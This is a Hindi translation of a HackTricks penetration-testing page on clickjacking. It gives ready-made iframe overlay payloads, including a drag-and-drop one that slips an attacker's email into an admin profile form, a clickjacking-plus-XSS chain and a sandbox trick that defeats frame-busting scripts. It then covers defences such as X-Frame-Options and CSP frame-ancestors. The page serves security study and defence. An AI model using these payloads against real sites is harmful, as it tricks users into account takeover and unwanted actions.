Clickjacking

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Trickest का उपयोग करें और दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित वर्कफ़्लो आसानी से बनाएं और स्वचालित करें। आज ही पहुंचें:

क्लिकजैकिंग क्या है

क्लिकजैकिंग हमले में, एक उपयोगकर्ता को धोखा देकर वेबपेज पर किसी तत्व पर क्लिक करने के लिए प्रेरित किया जाता है जो या तो अदृश्य होता है या एक विभिन्न तत्व के रूप में छलकर दिखाई देता है। यह मानिपुलेशन उपयोगकर्ता के लिए अनजाने परिणामों में ले जा सकता है, जैसे कि मैलवेयर का डाउनलोड, दुरुपयोगी वेब पेज पर पुनर्निर्देशन, प्रमाण-पत्र या संएजनीय जानकारी की प्रदान, धन की हस्तांतरण, या ऑनलाइन उत्पादों की खरीदारी।

फॉर्म ट्रिक को पूर्वारूपित करें

कभी-कभी पृष्ठ लोड करते समय GET पैरामीटर का उपयोग करके फॉर्म के क्षेत्रों के मान को भरना संभव होता है। एक हमलावर इस व्यवहार का दुरुपयोग कर सकता है और एक फॉर्म को विचारहीन डेटा से भरने और उपयोगकर्ता को बटन सबमिट दबाने के लिए क्लिकजैकिंग पेलोड भेज सकता है।

ड्रैग एंड ड्रॉप के साथ फॉर्म भरें

यदि आप उपयोगकर्ता से एक फॉर्म भरने की आवश्यकता है लेकिन आप उससे सीधे कुछ विशिष्ट जानकारी लिखने का नहीं कहना चाहते हैं (जैसे आपको पता है ईमेल और या विशिष्ट पासवर्ड), तो आप उससे केवल कुछ ऐसा करने के लिए कह सकते हैं कि वह आपके नियंत्रित डेटा को लिखेगा जैसे इस उदाहरण में

मूल पेलोड

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

बहुकदम पेयलोड

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

ड्रैग&ड्रॉप + क्लिक पेलोड

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

यदि आपने एक XSS हमला पहचाना है जिसके लिए उपयोगकर्ता को किसी तत्व पर क्लिक करने की आवश्यकता है ताकि XSS को ट्रिगर किया जा सके और पृष्ठ क्लिकजैकिंग के लिए संवेदनशील है, तो आप इसका दुरुपयोग कर सकते हैं ताकि उपयोगकर्ता को बटन/लिंक पर क्लिक करने में धोखा दे सकें। उदाहरण: आपने खाते के कुछ निजी विवरणों में स्वयं XSS पाया है (विवरण जो केवल आप सेट और पढ़ सकते हैं). इन विवरणों को सेट करने के लिए फॉर्म वाला पृष्ठ क्लिकजैकिंग के लिए संवेदनशील है और आप GET पैरामीटर्स के साथ फॉर्म को पूर्व-पूर्ण कर सकते हैं. __एक हमलावर उस पृष्ठ पर एक क्लिकजैकिंग हमला तैयार कर सकता है जिसमें फॉर्म को XSS पेलोड के साथ पूर्व-पूर्ण किया जा सकता है और उपयोगकर्ता को फॉर्म को सबमिट करने में धोखा देने में सक्षम हो सकता है। इसलिए, जब फॉर्म सबमिट किया जाता है और मान्यताएँ संशोधित होती हैं, तो उपयोगकर्ता XSS को निष्पादित करेगा

Clickjacking को न्यायिक करने के लिए रणनीतियाँ

क्लाइंट-साइड सुरक्षा

क्लाइंट साइड पर निष्पादित स्क्रिप्ट क्रियाएँ कर सकते हैं जो क्लिकजैकिंग को रोकने की कार्रवाई कर सकती हैं:

  • सुनिश्चित करना कि एप्लिकेशन विंडो मुख्य या शीर्ष विंडो है।

  • सभी फ्रेम दृश्यमान बनाना।

  • अदृश्य फ्रेम पर क्लिकों को रोकना।

  • क्लिकजैकिंग के प्रयासों को पहचानना और उपयोगकर्ताओं को चेतावनी देना।

हालांकि, ये फ्रेम-बस्टिंग स्क्रिप्टों को ऊपर से उतार सकते हैं:

  • ब्राउज़र्स की सुरक्षा सेटिंग्स: कुछ ब्राउज़र्स इन स्क्रिप्टों को अपनी सुरक्षा सेटिंग्स या जावास्क्रिप्ट समर्थन की कमी के आधार पर ब्लॉक कर सकते हैं।

  • HTML5 iframe sandbox विशेषता: एक हमलावर sandbox विशेषता को allow-forms या allow-scripts मानों के साथ सेट करके फ्रेम बस्टर स्क्रिप्ट को निष्क्रिय कर सकता है बिना allow-top-navigation के। इससे फ्रेम को यह सत्यापित करने से रोका जाता है कि यह शीर्ष विंडो है, जैसे कि,

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

सर्वर-साइड रक्षा

X-Frame-Options

X-Frame-Options HTTP प्रतिक्रिया हेडर ब्राउज़र को <frame> या <iframe> में पृष्ठ को प्रदर्शित करने की जायज़त के बारे में सूचित करता है, Clickjacking को रोकने में मदद करता है:

  • X-Frame-Options: deny - कोई डोमेन सामग्री को फ्रेम नहीं कर सकता।

  • X-Frame-Options: sameorigin - केवल वर्तमान साइट सामग्री को फ्रेम कर सकती है।

  • X-Frame-Options: allow-from https://trusted.com - केवल निर्दिष्ट 'यूआरआई' पृष्ठ को फ्रेम कर सकता है।

  • ध्यान दें: यदि ब्राउज़र इस निर्देशिका का समर्थन नहीं करता है, तो यह काम नहीं कर सकता है। कुछ ब्राउज़र CSP frame-ancestors निर्देशिका को अधिक पसंद करते हैं।

Content Security Policy (CSP) frame-ancestors निर्देशिका

CSP में frame-ancestors निर्देशिका Clickjacking सुरक्षा के लिए सिफारिश की गई विधि है:

  • frame-ancestors 'none' - X-Frame-Options: deny के समान।

  • frame-ancestors 'self' - X-Frame-Options: sameorigin के समान।

  • frame-ancestors trusted.com - X-Frame-Options: allow-from के समान।

उदाहरण के लिए, निम्नलिखित CSP केवल एक ही डोमेन से फ्रेमिंग की अनुमति देता है:

Content-Security-Policy: frame-ancestors 'self';

अधिक विवरण और जटिल उदाहरण frame-ancestors CSP दस्तावेज़ीकरण और Mozilla का CSP frame-ancestors दस्तावेज़ीकरण में मिल सकते हैं।

Content Security Policy (CSP) के साथ child-src और frame-src

Content Security Policy (CSP) एक सुरक्षा उपाय है जो Clickjacking और अन्य कोड प्रविष्टि हमलों को रोकने में मदद करता है जिसमें यह निर्दिष्ट करता है कि ब्राउज़र को कौन से स्रोतों को सामग्री लोड करने की अनुमति देनी चाहिए।

frame-src निर्देशिका

  • फ्रेम के लिए वैध स्रोतों को परिभाषित करता है।

  • default-src निर्देशिका से अधिक विशेष।

Content-Security-Policy: frame-src 'self' https://trusted-website.com;

यह नीति समान मूल (self) और https://trusted-website.com से फ्रेम को अनुमति देती है।

child-src निर्देशिका

  • वेब वर्कर्स और फ्रेम के लिए वैध स्रोत सेट करने के लिए सीएसपी स्तर 2 में पेश किया गया।

  • frame-src और worker-src के लिए एक फॉलबैक के रूप में काम करता है।

Content-Security-Policy: child-src 'self' https://trusted-website.com;

यह नीति फ्रेम्स और वर्कर्स को एक ही मूल (स्वयं) और https://trusted-website.com से अनुमति देती है।

उपयोग नोट:

  • पुराना हो रहा है: child-src को frame-src और worker-src की ओर बढ़ावा देने के लिए बाहर किया जा रहा है।

  • प्रतिसाधन व्यवहार: यदि frame-src अनुपस्थित है, तो फ्रेम्स के लिए फॉलबैक के रूप में child-src का उपयोग किया जाता है। यदि दोनों अनुपस्थित हैं, तो default-src का उपयोग किया जाता है।

  • सख्त स्रोत परिभाषण: शोषण को रोकने के लिए निर्देशों में केवल विश्वसनीय स्रोतों को शामिल करें।

जावास्क्रिप्ट फ्रेम-ब्रेकिंग स्क्रिप्ट

हालांकि पूरी तरह से अटल नहीं, जावास्क्रिप्ट आधारित फ्रेम-ब्रेकिंग स्क्रिप्ट का उपयोग किया जा सकता है एक वेब पृष्ठ को फ्रेम किए जाने से रोकने के लिए। उदाहरण:

if (top !== self) {
top.location = self.location;
}

एंटी-सीएसआरएफ टोकन का उपयोग करना

  • टोकन मान्यता: वेब एप्लिकेशन में एंटी-सीएसआरएफ टोकन का उपयोग करें ताकि यह सुनिश्चित हो सके कि राज्य-परिवर्तन वाले अनुरोधों को उपयोगकर्ता द्वारा इच्छापूर्वक किए जाते हैं और न कि क्लिकजैक्ड पेज के माध्यम से।

संदर्भ

Trickest का उपयोग करें और आसानी से औरोमेट वर्कफ़्लो बनाएं जो दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित हो। आज ही पहुंच प्राप्त करें:

जानें जीरो से हीरो तक AWS हैकिंग को htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated